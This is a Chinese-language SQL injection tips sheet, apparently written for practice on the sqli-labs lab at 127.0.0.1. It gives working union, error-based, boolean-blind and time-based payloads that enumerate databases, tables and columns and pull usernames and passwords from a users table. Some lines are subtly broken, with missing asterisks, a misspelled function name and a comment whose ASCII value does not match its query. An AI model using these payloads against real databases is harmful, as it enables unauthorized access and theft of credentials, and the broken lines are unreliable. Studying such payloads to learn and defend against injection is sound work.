SQL注入tips
一、相关sql语句信息
information_schema:表示所有信息,包括库、表、列
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_schema:数据库的名称
table_name:表名
column_name:列名
group_concat():显示所有查询到的数据
常用sql语句
1. SELECT USER(),SYSTEM_USER(),CURRENT_USER(),SESSION_USER();
-- 当前用户名及对应主机查询 函数值相同 可在特定函数被过滤的情况下用其他函数替换,以达到相同的目的
2. SELECT DATABASE(); -- 当前数据库名查询
3. SELECT VERSION(); -- 版本号查询
4. SELECT @@version; -- 版本号查询
5. SELECT @@basedir; -- 数据库根目录
6. SELECT @@datadir; -- mysql文件存放目录 该目录下1库对应1文件夹,1表对应3文件
7. SELECT @@version_compile_os; -- 操作系统
特殊用法:
1. SELECT * FROM users /*!22222 where id = 1*/;
-- 当MySQL当前版本号大于五位数时,注释会失效,此时只输出id=1的内容
2. SELECT * FROM users /*!88888 where id = 1*/;
-- 显示所有内容
3. SELECT VERSION(); -- 查看MySQL当前版本
二、SQL注入分类
①联合查询注入
点击查看代码
利用前提:页面上有显示位
优点:方便,快捷,易于利用
缺点:需要显示位
格式:
SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3 --%20
SQL注入时默认输出第一行数据 ,保证第一行无数据(前面加-)则可输出第二行 或者用limit函数
获取所有数据库名:
union select 1,2,group_concat(schema_name) from information_schema.schemata --%20
获取指定数据库下所有表名:
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = '库名' --%20
获取指定表下所有字段名:
union select 1,2,group_concat(column_name) from information_schema.columns where table_name = '表名' --%20
②报错注入
通过floor报错
1. AND (SELECT COUNT(*) FROM information_schema.`TABLES` GROUP BY CONCAT((payload),FLOOR(RAND(0)*2)));
2. AND (SELECT 1 FROM(SELECT COUNT(),CONCAT((SELECT(SELECT(payload)) FROM information_schema.`TABLES` LIMIT 0,1),FLOOR(RAND(0)2))X FROM information_schema.`TABLES` GROUP BY X)a);
注意:查询时用 group_concat()会出问题 尽量换用 limit 语句
payload:想查询的SQL语句
extractxalue():从目标XML中返回包含查询值的字符串
extractxalue(XML_document,XPath_string);
第一个参数:XML_document是string格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(XPath格式的字符串)
concat返回结果为连续参数产生的字符串
AND EXTRACTVALUE(1,(CONCAT(0x7e,(payload),0x7e)));
AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT@@version),0x7e));
注意:会从第一个特殊字符开始显示错误
0x7e:~
尽量避免 ' " 的使用,用16进制转换函数输出结果最多为32个字符用字符串截取解决该问题
通过updateXML报错
函数格式:UPDATEXML(xml_target,xpath_expr,new_xml)
注入:AND UPDATEXML(1,(payload),1)
示例:AND UPDATEXML(1,(CONCAT(0x7e,(SELECTUSER()),0x7e)),1);
用法:用法与 ExtractValue 类似
③布尔盲注
应用场景:页面上没有显示位,也没有输出SQL语句执行错误信息
只能通过页面返回是否正常判断
优点:不需要显示位,不需要出错信息
缺点:速度慢,耗费大量时间
判断数据库类型
MySQL数据库表 information_schema.tables
access msysobjects
SQLServer sysobjects
用下的语句判断数据库。哪个页面正常显示,就属于哪个数据库:
--判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
--判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
--判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+
判断当前数据库名
1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+
--正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+
--不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+
--正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+
--不显示任何数据
--大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
--判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
--判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
--判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
--由此可以判断出当前数据库为 security
判断当前库的表名
--猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+
1: 判断当前数据库中表的个数
--判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+
2:判断每个表的长度
--判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
--判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+
3:判断每个表的每个字符的ascii值
--判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
--判断第一个表的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
--由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
判断表的字段
--如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)
1:判断表中字段的个数
--判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+
2:判断每个字段的长度
--判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
--判断第二个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+
3:判断每个字段名字的ascii值
--判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
--判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........
由此可判断出users表中存在 id、username、password 字段
爆字段中的数据
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
1: 判断数据的长度
-- 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
-- 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+
2:判断数据的ascii值
-- 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
-- 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........
④基于时间的注入(延时注入)
1. Time-based blind SQL injection
2. 利用前提:页面没有显示位,也没有输入SQL语句执行错误信息,正确的SQL语句和错误的返回页面都一样,
但是加入sleep(5)条件后,正确的SQL语句页面返回速度明显慢了5秒,错误的SQL语句立即返回。
3. 优点:不需要显示位,不需要报错信息。
4. 缺点:速度慢,耗费大量时间
5. 用法:IF(Condition,A,B)函数
当Condition为TRUE时,返回A;否则返回B。
6. 示例:SELECT * FROM users WHERE id=1 AND IF(ASCII(SUBSTR(USER(),1,1))>65 ,SLEEP(5),1);